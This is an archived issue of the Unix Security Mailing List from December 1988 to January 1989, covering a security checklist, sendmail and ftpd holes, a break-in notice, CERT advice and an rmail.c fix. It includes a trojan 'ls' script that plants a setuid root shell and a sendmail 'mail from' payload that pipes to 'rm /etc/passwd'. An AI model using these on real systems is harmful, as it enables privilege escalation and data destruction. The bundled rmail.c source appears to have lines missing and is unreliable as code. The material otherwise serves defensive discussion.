The 'Security Digest' Archives (TM)

Archive: About | Browse | Search | Contributions | Feedback
Site: Help | Index | Search | Contact | Notices | Changes

ARCHIVE: Unix 'Security Mailing List' - Archives (1984 - 1987)
DOCUMENT: Unix 'Security Mailing List' #39 1989-01-19 (1 file, 15486 bytes)
NOTICE: recognises the rights of all third-party works.


Date: Thu, 19 Jan 89 11:49:16 MST
Subject: #39 - Unix Security Mailing List


Editors Corner.

Newcomers to the list since last issue:
        Manavendra K. Thakur (rutgers!!thakur)
        Jay Lepreau (lll-winken!utah-cs!j)

Subject: Security checklist
Date: Mon, 05 Dec 88 15:40:52 EST
From: Gene Spafford <>

The following is adapted from a 1975 AFIPS paper by R. R. Linde, abstracted
in Deitel's OS book.  This is intended to give you some ideas and possibly
generate some discussion...of a GENERAL nature.

Generic Flaws
1) authentification.  Not of the user, but by the user.  There is no
way for a user to know for certain that the system/service they are using
is really the one they expect.

Case in point I have heard about:  student got to modem bank at school, and
set call forwarding on one line to his home computer.  He had a program
running on his home computer that mimiced the login banner and captured
everyone's login and printed an "unavailable, try later" message.  As the
modem was one of a rotor pool, it wasn't noticed and he reset it a few days
later.  After he had captured some sensitive passwords.

General solution? Generally requires some kind of dedicated access or login key,
such as a smart card.  Particular solutions?  Check where your terminal
lines run.  Make sure phone lines and modems are in a secured location.
Make sure there is no public access to diagnostic ports.  Most important,
be suspicious if a user reports odd behavior.

2) Problems of trust.  This isn't trust of a user, but trust in a mechanism.
For instance, you have placed faith in the trust on the door lock, but
has somebody explained to the custodial staff that they should never ever let
anyone in without explicit authorization?  Have you trusted one of your
staff to watch over bug reports in the security lists and install them
as they come across?  if so, how do you know it is being done (correctly)?

Solution?  Don't assume.  Go over the whole setup and verify that everything
is being done the way you expect.  Think of weak points instead of whether
everything has been covered.

3) Problems of implicit sharing.  Can arbitrary users read your /dev/kmem?
Does everybody use /tmp with a umask that allows those temp files to be read?

Partial solution?  Restrict shared space to a need-to-know area.  A
really restrictive (but attractive) idea has /tmp a special directory.
Anything that tries to open a file in tmp actually opens a file in
/tmp/user, where /tmp/user is a mode like 711 or 710.  Thus, temporary
files could not be read or written by any other user.  (This would be a
generalization of the idea of conditional symbolic links)

4) Unnecessary privileges.  Does every setuid program on your system need
that, or can it be setgid?  Does every setgid program need that?  Check
the user/group such programs use.  Can they work just as well with a
special userid all their own (that cannot access any other resources)?
Do your operators have the "root" password to do backups?  (Instead,
why not have a different login with a restricted shell, or chmod dump to 510).

5) Entrapment.  Do you have any account with simple passwords that will cause
some immediate notification if used?  For instance, is there an account
that is recognized by code in your login program and which results in an
immediate notification to console, root, etc. that someone is snooping and
has broken into that account?

6) Confinement.  Do you have local admin programs mode 755?  Why (why not 750 or
700)?  In fact, any programs that contain the names of files or that run
setuid should be 511 or 510 -- don't let "strings" or "adb" be run on them.
Same for configuration files (like /usr/lib/crontab) -- they should be 600 or 640.
Can users run "cron"?  (As your userid, put about 5 instance of cron
int he background.  What does it do to your system?  What if someone
broke into "news" or "nobody" and did the same?)

7) Prohibitions.  Users are warned not to use some feature.  You should be sure
that if they do, the result is not something that allows them to break security.
Don't depend on the warning to keep them away.  In fact, it may attract crackers.

8) Physcial security.  Can your terminal lines be tapped?  Can someone hang a
PC with an Ethernet card in promiscuous receive mode on your Ethernet cable?
Can someone make off with a tape containing your passwd file to crack at
leisure on their machine?  Can someone reboot your system single user
as root and view files at their leisure?

9) Asynchronism.  Do you have a case where partial results can be
changed in the middle of an operation (ala the System V mkdir bug)?

10) Browsing protection.  Are admin directories set so users can browse
through them?  That is, is /usr/adm anything other than 711 or 710?  Is
/usr/src something other than 750 or 700?

11) Clandestine coding.  How do you verify bug fixes and patches that
you put into place?  Just because it is in your mail or news, how do
you know you can trust it?  Do you read through and understand the
patches before you put them into place?

12) Denial of service.  Are there limits as to how much of any particular
resource a user can use?  File quotas, process limits, etc....?

13) Logging.  Is every bad password and access attempt logged?  Do you
read the logs on a regular basis?  For instance, does rexec log
bad password attempts?  ftp?  

14) Unexpected invocation.  Do you have "." in root's search path?  In 
your own search path?  One of my favorite versions of "ls" to catch root:
/bin/cp /bin/sh $ffile
/etc/chown root $ffile
/bin/chmod 4555 $ffile
/bin/rm -f $0
exec /bin/ls $@

15) Operator spoof.  Can your operators be fooled with a phone call
to change a password, mount a tape, change a disk.  Do you require at
 least a callback?

16) Error codes.  Do your utilities check error codes properly?
If UNIX, probably not.  Proceeding with many operations will cause some
utilities to dump core files with senistive contents, or possibly write
the wrong information to the wrong place.


Subject: more on security
Date: Mon, 05 Dec 88 22:53:09 EST
From: Gene Spafford <>

Let me add something to that list I posted -- I'm not advocating
that source be kept from all users.  I'm advocating that source
be kept from users by default.  If users at your site have a
reason to access the source, even if for as indefinite reason
as "you want them to learn about the system," then add them to
the group id that can browse through the source.

Making things wide open by default is not the way to have better
security.  It may not be philsophically aligned with the way you
want to run a system, but you have to make tradeoffs when
trying to improve security.  If you decide not to restrict
access, so be it.  However, it can give clues to users just
looking around for weaknesses ("Hmmm, which utilities use 'gets'
or 'system'?")


Date: Mon, 5 Dec 88 16:28:31 PST
From: (Keith Bostic)
Subject: Another Sendmail Nasty.

>    220 xxxx Sendmail 5.xx/xx ready at Sun, 4 Dec 88 09:27:55 PST
>    mail from:<geoff>
>    250 <geoff>... Sender ok
>    rcpt to:</tmp/foo>
>    554 </tmp/foo>... Cannot mail directly to files
>    rcpt to:</tmp/foo>
>    250 </tmp/foo>... Recipient ok
>    data
>    354 Enter mail, end with "." on a line by itself
>    hi there.
>    .
>    250 Ok
>    quit
>    221 xxxx closing connection

This bug has been fixed in later versions of sendmail; I believe
ever since 5.54, which was about two years ago.  On similar bug
reports, please don't X out the version number, that's very useful


Date: Mon, 5 Dec 88 18:06:10 PST
From: (Russell Brand)
Subject: a non-viral incident

The following statement is being relased by llnl:

llnl has observed unusual network behavior on a small number of
unclassified computers at LLNL and other locations.

We have determined that at least 5 llnl and 5 non-llnl systems were
entered without authorization.

An unauthorized user copied and modified password files to insert an
extra privileged user account and attempted to alter system programs.
The unauthorized user modified system dates apparently to confuse
auditing and accouting facilities.

This incident was quickly noticed at LLNL by staff programmers who are
taking protective actions and have notified other sites that were
affected so that they can also take appropriate protective measures.

Normal operations were quickly restored.  LLNL continues to monitor the
situation.  This attack appears unrelated other recent incidents and
does not involve a worm/virus program.

- - - -

If people could look to see if thre are any copies of password files
living in guest accounts, ~ftp, ~uucp accounts with no indication of
how they got or strange changes in system date,  (more than a day than
changed back) please let me know.



Date: Tue, 6 Dec 88 11:32:03 PST
From: (Carl S. Gutekunst)
Subject: Re: Stupid fingers 

[This is a bug-fixed version of rmail.c]

: ------ CUT HERE ------ CUT HERE ------ CUT HERE ------ CUT HERE ------
: This is a shell archive.
: To unpack it, feed it to /bin/sh, NOT to /bin/csh.
: This archive includes the following files:
:       rmail.1
:       rmail.c
echo x - rmail.1
sed 's/^X//' >rmail.1 <<'*-*-END-of-rmail.1-*-*'
X.TH RMAIL 1-ucb
Xrmail \- accept remote mail received via \s-1UUCP\s0
X.B rmail
X.I user1
X.I user2
X] ... [
X.I usern
X.I Rmail
Xis a simple interface utility that accepts mail from
X.IR uux (1C)
Xand pipes it into
X.IR sendmail (8).
XIt reads a mail message from stdin, and collapses multiple \s-1UUCP\s0-style
X``From\ '' lines into a single '!' path.
XThe mail message is then piped to
X.IR sendmail ,
Xwhich is invoked with the following command line:
X\fB/usr/lib/sendmail\ -ee\ -i\ -f\fP\ \fIbangpath\fP\fB!\fP\fIuser\ user1\ user2\ ...\ usern\fP
Xwhere \fIbangpath\fP\fB!\fP\fIuser\fP is the collapsed path,
Xand \fIusern\fP is the list of arguments from the
X.B /bin/rmail
Xcommand line (the list of recipients).
XTo prevent any surreptitious manipulation of sendmail options,
X.I rmail
Xarguments that begin with a hyphen will cause the entire message to be
XThree forms of ``From\ '' lines are recognized.
XThe old /bin/mail style, still used in System VR3.2:
XFrom\ uucp\ Sat\ Nov\ 12\ 21:53\ PST\ 1988\ remote\ from\ pyr3b2
X>From\ csg\ Sat\ Nov\ 12\ 21:23\ PST\ 1988\ remote\ from\ pyramid
Xthe RFC-976 style ``envelope'' line:
XFrom\ pyr3b2!pyramid!csg\ Sat\ Nov\ 12\ 19:53:44\ 1988
Xand the invalid but not-unheard-of '@' line:
XFrom\ csg@pyramid\ Sat\ Nov\ 12\ 19:53:44\ 1988
XMixed formats will produce mixed results.
X``remote from'' has the highest precedence
X(that is, it is assumed to refer to the nearest host), then `@', and
Xthen `!'.
XSo the blasphemous:
XFrom\ pyramid!csg@pyrvax\ Sat\ Nov\ 12\ 19:53:44\ 1988\ remote\ from\ pyr3b2
Xwill be turned into:
XIf no ``From\ '' lines can be found, then
Xis substituted, where
X.I hostname
Xis the name of the local host.
X(Note that if
X.I sendmail
Xaccepts a message with no ``From\ '' line and no \fB\-f\fP option,
Xit uses \fIuser\fP@\fIhostname\fP, with \fIuser\fP taken from the effective
XUID that invoked
X.IR rmail .
XThis is inelegant.)
X.I rmail
Xabsolutely cannot determine a hostname for a particular line,
Xthen the magic word
X.B somewhere
Xis substituted.
XNote that no ``From\ '' lines are passed to
X.IR sendmail ;
Xall are discarded by
X.IR rmail .
X.I Sendmail
Xforms a new ``From\ '' line from the \fB\-f\fP option field.
echo x - rmail.c
sed 's/^X//' >rmail.c <<'*-*-END-of-rmail.c-*-*'
X#ifndef lint
Xstatic char *RcsId = "@(#)rmail.c $Revision: 2.1 $ $Date: 88/11/14 12:38:30 $";
X *  rmail.c -- UUCP mail server.
X *
X * This utility is intended as a simple preprocessor for sendmail. It accepts
X * a mail message on stdin, and collapses multiple UUCP-style "From " lines
X * into a single '!' path.
X *
X * For more details, see the rmail(1) man page.
X *
X * By Carl S. Gutekunst, Pyramid Technology Corporation <> 
X * Released into the public domain, unrestricted distribution
X */
X#include <stdio.h>
X#include <sysexits.h>
X#define TRUE   (1)
X#define FALSE  (0)
X#define SAME   (0)
XFILE   *popen();
Xchar   *index();
Xchar   *rindex();
Xchar   Debug;
X#define MAILER "/usr/lib/sendmail"
X#define USER   "uucp"
X#define NCMDS  256
Xchar *cmd[NCMDS] =
X       MAILER,
X       "-ee",
X       "-i",
X       "-f",
X#define CMD_START 4
Xmain(argc, argv)
X       char **argv;
X       char lbuf[1024], *lp;           /* one line of the message */
X       char path[1024];                /* accumulated path of sender */
X       char user[512], *up = NULL;     /* user on remote system */
X       FILE *out;                      /* output to sendmail */
X       char **cargp;                   /* Outgoing argument list pointer */
X       int foundit;
X       int err;
X# ifdef DEBUG
X       if (argc > 1 && strcmp(argv[1], "-T") == SAME)
X       {
X               Debug = TRUE;
X               argc--;
X               argv++;
X       }
X# endif DEBUG
X       if (argc < 2)
X       {
X               fprintf(stderr, "Usage: rmail user ...\n");
X               exit(EX_USAGE);
X       }
X       path[0] = '\0';
X       while (fgets(lbuf, sizeof lbuf, stdin) != NULL)
X       {
X               foundit = FALSE;
X               if (strncmp(lbuf, "From ", 5) == SAME)
X                       lp = &lbuf[5];
X               else if (strncmp(lbuf, ">From ", 6) == SAME)
X                       lp = &lbuf[6];
X               else
X                       break;
X               (void) sscanf(lp, "%s", user);
X               while ((lp = index(lp+1, 'r')) != NULL)
X               {
X                       if (strncmp(lp, "remote from ", 12) == SAME)
X                       {
X                               sscanf(lp + 12, "%s", index(path, '\0'));
X                               foundit = TRUE;
X                               (void) strcat(path, "!");
X                               break;
X                       }
X               }
X               if ((up = rindex(user, '@')) != NULL)
X               {
X                       *up++ = '\0';
X                       (void) strcat(path, up);
X                       (void) strcat(path, "!");
X                       foundit = TRUE;
X               }
X               if ((up = rindex(user, '!')) != NULL)
X               {
X                       *up++ = '\0';
X                       (void) strcat(path, user);
X                       (void) strcat(path, "!");
X                       foundit = TRUE;
X               }
X               else
X                       up = user;
X               if (!foundit)
X                       (void) strcat(path, "somewhere!");
X       }
X       if (path[0] == '\0')
X       {
X               (void) gethostname(path, sizeof path);
X               (void) strcat(path, "!");
X       }
X       if (up == NULL)
X               up = USER;
X       (void) strcat(path, up);
X       cargp = &cmd[CMD_START];
X       *cargp++ = path;
X       while (*++argv != NULL)
X       {
X               if (**argv == '-')
X                       exit(EX_USAGE);
X               *cargp++ = *argv;
X       }
X       *cargp = NULL;
X#ifdef DEBUG
X       if (Debug)
X       {
X               printf("cmd=");
X               cargp = cmd;
X               while (*cargp != NULL)
X                       printf(" %s", *cargp++);
X               putchar('\n');
X       }
X#ifdef DEBUG
X       if (Debug)
X               out = stdout;
X       else
X#endif DEBUG
X       if ((out = popen(cmd)) == NULL)
X               exit(EX_OSERR);
X       fputs(lbuf, out);
X       while (fgets(lbuf, sizeof lbuf, stdin))
X               fputs(lbuf, out);
X#ifdef DEBUG
X       if (Debug)
X       {
X               fclose(out);
X               err = 0;
X       }
X       else
X#endif DEBUG
X       err = pclose(out);
X       if ((err & 0377) != 0)
X       {
X               fprintf(stderr, "pclose: status 0%o\n", err);
X               exit(EX_OSERR);
X       }
X       exit((err >> 8) & 0377);
X#define PIPE_WRITE 1
X#define PIPE_READ  0
Xint childpid;
Xchar **cmd;
X       int pfd[2];
X       if (pipe(pfd) == -1)
X               return NULL;
X       if ((childpid = fork()) == -1)
X               return NULL;
X       else if (childpid == 0)
X       {
X               (void) close(pfd[PIPE_WRITE]);
X               (void) dup2(pfd[PIPE_READ], 0);
X               (void) close(pfd[PIPE_READ]);
X               execv(cmd[0], cmd);
X               return NULL;
X       }
X       (void) close(pfd[PIPE_READ]);
X       return fdopen(pfd[PIPE_WRITE], "w");
XFILE *fp;
X       int retval, status;
X       fclose(fp);
X       while ((retval = wait(&status)) != childpid && retval != -1)
X               ;
X       return status;

Date: Tue, 6 Dec 88 12:00:11 EST
From: (Bob Page)
Subject: Security checklist 

I happen to think it's critical in our environment to keep the
source code available.  History has shown that bugs fixes and
improvements come from regular folks just as much as from system
admin types.

But the point should be made: most security considerations are not
absolute; they are "thought questions".  The writer does so only to be
complete.  You can't make a valid judgement to keep the resource open
or to close it off until you know that it *could* be a problem.  I
would not have even considered recommending removing access from
/usr/src, but I can see where the point should at least be brought up.

The same can be said for most security issues, like /usr/lib/aliases
for example.  The sendmail docs says "we (ucb) leave it world
writable, you might not, but we trust our users".  In fact I keep our
aliases files readable but not writable, and have the exact problem
they describe: I have to manually edit the file when somebody wants a
change.  One of my staff wrote a daemon that gets requests (via mail)
and changes the aliases file based on those requests with locks and
passwords (on the aliases) to prevent anyone from changing random
alias entries.  (We do this because people need to change alias
entries on a mail server where they don't have an account for

On a different topic: we now know that many "cracker groups" have the
source code to the Worm.  I'm sure a half dozen folks within ULowell
already have access to the code.  It upsets me that I have to go to
these groups to get the code rather than more legitimate channels.
It should not be harder for people with white hats to get the code.


Subject: Something else to be paranoid about
Date: Tue, 06 Dec 88 19:30:17 EST
From: Fred Blonder <>


    awk -F: '{ print $6 }' /etc/passwd | sort -u | \
                sed 's/^.*$/ls -l &\/.rhosts/' | sh

to see the modes of all your users' .rhosts files. I found several here
that were mode -rw-rw-r-- , and one that was -rw-rw-rw- . I'll leave it
to your imagination as to all the fun ways you could exploit this.

I've been changing all my .rhosts files to mode ---------- , which
seems to work just fine for rlogin.
                                        Fred Blonder

Date: Tue, 6 Dec 88 11:32:30 PST
From: gww@Sun.COM (Gary Winiger)
Subject: Re:  FYI-- another sendmail nasty

On SunOS 4.0 the following happens:
        Sendmail 4.0/SMI-4.0 ready at Tue, 6 Dec 88 10:56:02 PST
        mail from:<root>
        250 <root>... Sender ok
        rcpt to:</tmp/foo>
        554 </tmp/foo>... Cannot mail directly to files
        rcpt to:</tmp/foo>
        250 </tmp/foo>... Recipient ok
        354 Enter mail, end with "." on a line by itself
        hi there.
        221 seraglio. delivering mail
        Connection closed by foreign host.

However, the mail is not delivered to the file.  It is rejected with the
        From Mailer-Daemon@seraglio Tue Dec  6 11:02:26 1988
        Date: Tue, 6 Dec 88 10:59:21 PST
        From: Mailer-Daemon@seraglio (Mail Delivery Subsystem)
        Subject: Returned mail: Unable to deliver mail
        To: <root@seraglio>

           ----- Transcript of session follows -----
        554 </tmp/foo>... Possible alias loop
        554 No valid recipients

           ----- Unsent message follows -----
        Return-Path: <root>
        Received: from localhost by seraglio. (4.0/SMI-4.0)
        id AA00439; Tue, 6 Dec 88 10:59:21 PST
        Date: Tue, 6 Dec 88 10:56:02 PST
        From: root (Operator)
        Message-Id: <8812061859.AA00439@seraglio.>
        Apparently-To: </tmp/foo>

        hi there.

Seems like a different fix with the same overall results.


Date: Tue, 6 Dec 88 11:01:51 PST
From: haynes@ucscc.UCSC.EDU (99700000)
Subject: Something General (was Security Checklist)

Not every kind of site has the same security needs; so I wish vendors
would give us some #ifdefs or option switches to let us choose which
features we need.

Example:  On instructional machines we use a "group master" feature
that originated at Berkeley Computer Center (not EECS).  This provides
that the instructor has all privileges over all files in the class
group, regardless of protection codes.  A user is established as
group master if (uid == gid).  Clearly this is not something
everybody would want, but it's something we just about have to have
for machines where there is a class and all class members have the
same gid.

Example:  On most of our machines we have made it impossible for
the non-privileged user to set the setuid bit on files.  We found
students were using setuid mostly to Trojan-horse one another.
The group master can also set the setuid bit for files in the group.
Some kinds of sites no doubt have users with a legitimate need to
set the setuid bit; but we have a lot less work when they can't.

Example:  I like to hack the atrun program so it won't run scripts
as root.  Probably some sites have a legitimate reason to
allow root to run at scripts; but for me it's a security blanket
to have this ability disallowed.

Example:  I have the kernel hacked so that if the gid of a file is
zero the group protection bits are ignored.  All the systems people
use zero as the default gid when creating files.  By itself this
doesn't make anything more secure; but it does, we believe, somewhat
reduce the chance of accidental security lapses.

(Lots more examples on request.)

In general, academic and commercial and other kinds of sites have
different kinds of security threats and risks.  In a commercial site
you might be very concerned about unauthorized users getting on to
the system; but you have a reasonable expectation that the authorized
users might be well-behaved toward one another.  In an academic
setting you might be much more casual about unauthorized users
(because there are so many users and they have such a high turnover
that completely excluding the unauthorized is well-nigh impossible).
But you have to worry about keeping the authorized users from
harassing one another and from gaining control of the system.

Date: Tue, 6 Dec 88 20:22:47 CST
From: (Bruce Cole)
Subject: FYI-- another sendmail nasty

If your sendmail is older than 5.57 try the following:
Open up an smtp connection to your mailer, and supply a program name with
the MAIL FROM command.  Eg: mail from:<"| /bin/rm /etc/passwd">.  Then supply
a receipient address containing an invalid host name.  Guess what is
likely to happen when the mail bounces?

This security problem STILL exists under Sun OS 4.0 and Ultrix.

PS:  How many sites running sendmail ports on machines other than vaxes and
suns have taken care of sendmail security problems?  For example, think of
all the sites which run Wollongong TCP with Berkeley sendmail version 4.12?
That distribution of sendmail also comes with debug turned on by default.

Date: Tue, 6 Dec 88 23:00:57 EST
From: Karl Kleinpaste <>
Subject: Re: Something else to be paranoid about

   Date: Tue, 06 Dec 88 19:30:17 EST
   From: Fred Blonder <>

   I've been changing all my .rhosts files to mode ---------- , which
   seems to work just fine for rlogin.

Um, that will make NFS unhappy if ~you lives on some other machine's
discs, since root will map to something unproductive.  I can see 0444
or 0644, but 0 just won't do.


Date: Wed, 7 Dec 88 01:05:19 EST
From: der Mouse  <mouse@Larry.McRCIM.McGill.EDU>
Subject: white-hats and worm code

> On a different topic: we now know that many "cracker groups" have the
> source code to the Worm.  I'm sure a half dozen folks within ULowell
> already have access to the code.  It upsets me that I have to go to
> these groups to get the code rather than more legitimate channels.
> It should not be harder for people with white hats to get the code.

It bothers me too.  I was sort of idly planning to make a fuss about it
someday, but I have no reason for wanting it but curiosity, and Spaf's
report more-or-less satisfied that.  Reminds me of the US export
restrictions on technology - hurts the wrong people....

Anybody want me to (re)write it and post the code?  I don't for a
minute believe the crackers don't have code to the original program.
(Before everyone shouts me down: I probably won't actually do so.  But
it's tempting, I must admit.)

                                        der Mouse

                        old: mcgill-vision!mouse

Date: Wed, 7 Dec 88 07:31:42 est
From: (Michael F. Angelo)
Subject: Re: Worm Talk..

Did you hear about the 'new' worm on the network?

> Return-path: <APRIL@SRI-NIC.ARPA>
> Received: from by via UMnet; Mon, 5 Dec 88 20:47:33 EST
> Received: by       id AA01388; Mon, 5 Dec 88 19:34:11 EST
> Received: Mon, 5 Dec 88 19:35:14 EST from SRI-NIC.ARPA by
> Date: Mon, 5 Dec 88 16:34:14 PST
> From: April Marine <APRIL@SRI-NIC.ARPA>
> To:
> Message-Id: <12452108375.41.APRIL@SRI-NIC.ARPA>
> Here is the message I referred to on the phone with Debra.  Again, this
> is only what we know right now and we send it to you in the interest of
> passing on potentially useful information, not because we recommend any
> official action.
> thanks,
> April Marine
> Supervisor, NIC Reference Services
>                 ---------------
> Mail-From: NIC created at  5-Dec-88 15:44:22
> Date: Mon, 5 Dec 88 15:44:22 PST
> From: DDN Reference <NIC@SRI-NIC.ARPA>
> Subject: possible new FTP vulnerability
> To:,,
>     as-ops-oi@HUACHUCA-EMH1.ARMY.MIL,,
> cc: nic@SRI-NIC.ARPA
> Message-ID: <12452099298.33.NIC@SRI-NIC.ARPA>
> The DDN Network Information Center has received word of a possible new
> attempt to gain unauthorized access to host systems.  This attempt is
> again aimed at UNIX 4.2 and 4.3 systems, but may affect VMS system as
> well.  Access is gained through the FTP program.  Having accessed the
> machine, the unauthorized program becomes root, creates a new login
> binary, changes passwords, and resets the system time to disguise when
> files it changed were written.
> At this point, it seems that systems which implemented the patch
> distributed in DDN Management Bulletin #46 can be vulnerable to this
> new problem as well.  Completely disabling FTP on your host will
> prevent access by this program and/or its spread to other machines.
> It is recommended that you monitor your host closely for unusual
> activity.
> We have no other information at this time.  As information and
> solutions become known, they will be made available.  The Monitoring
> Center at (800) 451-7413, (202) 692-5746, or AV 455-1472 should have
> the latest techincal information.
> The user assistance number at the DDN Network Information Center
> is (800) 235-3155.
> -------
> -------
Michael F. Angelo
John von Neumann National Super Computer Center | ARPA:
665 College Rd. East,                           | BITNET:angelo@jvncc.bitnet
Princeton, N.J. 08543                           | UUCP:  rutgers!jvnca!angelo
Senior Systems Programmer, Unix Development ETA-10
UNISIG Symposium Coordinator 

Subject: Re: password encryption 
Date: Mon, 05 Dec 88 14:55:06 EST
From: Gene Spafford <zardoz!ccicpg!cci632!rochester!ll-xn!ucsd!!spaf>

Yup.  Good encryption schemes are designed so that every bit of
input has an effect on every bit of output.  The DES is such a mechanism.
It is impossible to derive any useful information about the input
space based on the distribution of the output spaces.


Subject: Re: FYI-- another sendmail nasty 
Date: Wed, 07 Dec 88 07:54:19 -0800
From: James M Galvin <galvin@TWG.COM>

> For example, think of
> all the sites which run Wollongong TCP with Berkeley sendmail version 4.12?
> That distribution of sendmail also comes with debug turned on by default.

It did, but it does not any longer.  Also, we have version 5.59 now, and have
since before the worm.


Date: Wed, 7 Dec 88 10:41:30 CST
From: (Dave Borman)
Subject: Re:  Something else to be paranoid about

About 3 months ago I modified the rcmd.c library routine in our
release to check the mode of the $HOME/.rhosts file, and if it has
group or world write permission, to ignore it.  It's a trivial change,
because it already stat()s the file to check the ownership. Just change
the check in ruserok() from:
                if (sbuf.st_uid && sbuf.st_uid != pwd->pw_uid) {
                if ((sbuf.st_uid && sbuf.st_uid != pwd->pw_uid) ||
                    (sbuf.st_mode & 022)) {

Of course, if you want to be really safe, you should also check
the ownership/mode of the login directory.  If you are running on
a system that allows you to give away files (like System V), and
the login directory is group or world writeable, the offending
person could remove the current .rhosts file, install a new one
with the right modes, and chown it to the person who owns the
account...  Fun, huh?

                -Dave Borman, Cray Research, Inc.

Date: Wed, 7 Dec 88 10:42:30 PST
From: bostic@okeeffe.Berkeley.EDU (Keith Bostic)
Subject: Re: Something else to be paranoid about

The fix we're using is to change ruserok to not 
use any .rhosts file that are writeable by other
than the owner.


From: Eric S. Johnson <>
Subject: FTP holes in the head..
Date: Wed, 07 Dec 88 19:28:49 EST

The recent NIC scare (and MILnet gateway shutdown, so I understand)
were caused by the recently (slightly before The Worm) discovered
security bugs in the FTP deamon. I'll give a description of what these
bugs can do, but I don't feel like telling ya how to exploit them. (I've
yet to convince all the other Admins on campus here to upgrade to the
NEW berkeley ftpd, though I personally ported it to all the arch. on
campus.. :-(  thus again proving the biggest security hole is

1. The anonymous FTP bug.
        Most stock 4.2 and 4.3 derived systems have this bug. I've seen
        it on BSD 4.3, Gould's UTX 2.0U6, Sun's (3.X and 4.0), PC/RT's
        running BSD 4.3, and pyramid's. It allows anyone to gain root
        FTP access on any system which has anonymous FTP. Thankfully,
        most (if not all) of the systems I anonymous ftp to have fixed 
        this bug. This bug (and the fix) was posted to comp.bugs.4bsd.ucb-fixes
        right before The Worm hit.

2. The SunOS 3.X FTP bug. 
        Systems which have ftpd's derived from 4.2 BSD are vulnerable.
        This includes SunOS 3.2, 3.4 and 3.5. It may include other 
        systems of 4.2 derivation. This bug will allow any user who 
        could normally get access via FTP (with their regular login/password)
        to get root access via FTP. This bug is slightly less well known
        but a bit less dangerous, since you have to have a valid login to
        exploit it. I dont think anonymous ftp is vulnerable, but I won't 
        swear to it.

The cure for both of these bugs is to get the new ftpd from
(among other places) and port it to your machine. This port is pretty simple,
and I can provide email help if you need it. 

Until you replace your ftpd with the new one, DO NOT run any sort of
anonymous FTP. If you have a 4.2 derived system, you may want to disable
incoming FTP completly.

These bugs DO NOT seem to affect TWG/TCP or CMU/TCP-IP on vms systems.
(but again, I won't swear to it...)

I plan to send off details of these bugs to Andrew Burt's security mailing
list after I make it through the end-of-semester madness, but I imagine
someone already has..


Subject: Some warnings
Date: Thu, 08 Dec 88 19:44:08 EST
From: Gene Spafford <>

The following is some information being distributed by the CERT related to
the recent rash of machine break-ins.  Following it are some notes I have
added to expand on some of these points.

------- Forwarded Message

Date:    Thu, 08 Dec 88 19:31:36 -0500 
Subject: Stock message

There have been several problems or attacks which have occurred in the
past few weeks.  In order to help secure your systems we suggest the

        1) Check that you are using version 5.59 of sendmail.  To
           verify the version try the following commands.  Use the
           telnet program to connect to your mail server.  Telnet
           to your hostname or localhost with 25 following the host.
           The sendmail program will print a banner which will have the
           version number in it.  You need to be running version 5.59.
           Version 5.61 will be released on Monday 12/12/1988.  Any
           version less than 5.59 is a security problem.

           The following is a sample of the telnet command.

% telnet localhost 25
Connected to localhost.SEI.CMU.EDU.
220 Sendmail 5.59 ready at Wed, 7 Dec 88 15:45:55 EST
221 closing connection
Connection closed by foreign host.

        2) Verify with your systems support staff that the ftpd program
           patches have been installed.  Removing anonymous ftp is now
           known to NOT plug all security holes.  If you are not sure,
           ftp to, login as anonymous password ftp
           and get ftpd.shar.  This file contains the sources to the
           latest BSD release of the ftpd program.

        3) Check your /etc/passwd file for bogus entries.  Look for
           accounts with the uid field set to zero.  Remove these
           entries.  The following is an example of what you might find.


        4) Look for modified /bin/login and /usr/ucb/telnet files.
           Several sites have found these programs with new "backdoors"
           added.  Use the strings program to search /bin/login for the
           strings OURPW, knaobj, and knaboj.  If in doubt, reload the
           /bin/login and /usr/ucb/telnet executables from your
           distribution tape.

        5) Educate your users to create hard to guess passwords.  Account
           codes, first or last names, and common words are not very
           secure passwords.  A few examples of common words are words
           that refer to your town, location, or company and words that
           are found in /usr/dict/words.  Be especially careful of accounts
           where the password is the account name (easy to check, easy to

        6) If you have any TCP/IP terminal servers, they should either
           have password protection or (better yet) be prevented from
           making connections elsewhere in the Internet.

        7) check the last logs for normal logins as accounts which normally
           run utility programs (sync, who, etc), watch for unreasonable
           times..  watch for ftp's with funny logins (who, etc).

If you need additional information please call CERT at 412-268-7090.

------- End of Forwarded Message

To check your /etc/passwd files for spurious accounts with uid 0, you can
use the following awk program:
awk -F: '$3 == 0 {print $0}' /etc/passwd

If you are running YP on your machine, do:
ypcat passwd | awk [ above]

Run the "strings" program on your /bin/login program.  If you find
any of the following strings in the output, your system has been compromised:
OURPW   knaboj knaobj

One way to do this is:
strings - /bin/login | egrep '(OURPW|knaboj|knaobj)'

If you have an Annex box or other terminal server, make sure access to it
uses passwords.  Some of the people doing the recent breakins have been
dialing in to these and effectively using them as TACs.  This allows
people access to the Internet who shouldn't have such access....

Mr. News,

Subject: trivia
Date: Thu, 08 Dec 88 21:05:32 EST
From: Fred Blonder <>

        From: Gene Spafford <>

        . . . some notes I have added to expand on some of these
        points. . . .

        Run the "strings" program on your /bin/login program.  If you
        find any of the following strings in the output, your system
        has been compromised:  OURPW   knaboj knaobj

I assume this is coincidence, but 'knaboj' is the esperanto word for
                                        Fred Blonder

From: Eric S. Johnson <zardoz!lll-crg!ames!mailrus!uflorida!!esj>
Subject: Re: uucico & uuclean permissions 
Date: Mon, 05 Dec 88 13:40:53 -0500

>"Other" (non-staff) users should not be able to execute these programs.
>uucico can be used in a way that reveals the phone numbers, login names,
>and passwords for other systems.  

Most systems uucico (like 4.3 BSD) will not print out L.sys info (in debug
mode) unless the invoking REAL uid could read L.sys. Is this what you mean?



                        The UNIX Security Mailing List

                  Ignore the headers on this list and mail to:
                  ...!ncar!isis!security (mail for the list).
                  ...!ncar!isis!sec-request (administrativia).